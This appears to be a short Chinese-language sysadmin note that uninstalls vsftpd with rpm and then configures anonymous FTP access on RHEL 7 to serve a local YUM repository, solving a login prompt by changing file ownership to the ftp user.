[root@localhost ~]# rpm -aq vsftpd
vsftpd-2.0.5-16.el5_5.1 #此处是查找vsftpd的返回结果

[root@localhost ~]# rpm -e vsftpd-2.0.5-16.el5_5.1
#用rpm -e 查找结果 进行删除就ok了。
warning: /etc/vsftpd/user_list saved as /etc/vsftpd/user_list.rpmsave
warning: /etc/vsftpd/ftpusers saved as /etc/vsftpd/ftpusers.rpmsave #删除时将备份vsftp的用户列表文件。看下是否卸载了vsftpd,进行stop及start操作:

[root@localhost ~]# /sbin/service vsftpd stop
vsftpd: unrecognized service #找不到vsftpd

[root@localhost ~]# /sbin/service vsftpd start

vsftpd: unrecognized service #找不到vsftpd

记住,在卸载vsftpd之前,先停止vsftpd。

rhel 7.x设置VSFTPD允许匿名登陆

工作环境中的Server经常没有外网环境,需要自己搭建YUM源。

利用web总觉得会白白浪费一台主机,又不想改变端口,所以就喜欢用Vsftpd。

之前一直在centos 6.x环境上面装vsftpd。在/etc/vsftpd/vsftpd.conf中设置

anon_root=/mnt/ios

然后重启就可以匿名访问该目录了。

现在在rhel 7.x环境中安装vsftpd,同样在/etc/vsftpd/vsftpd.conf中设置

anon_root=/mnt/ios

我擦,竟然还要我账号密码登陆,后来简单的搜索了一下,发现是权限的锅,当文件的用户改为ftp时,解决此问题

ok,又能愉快的下载了。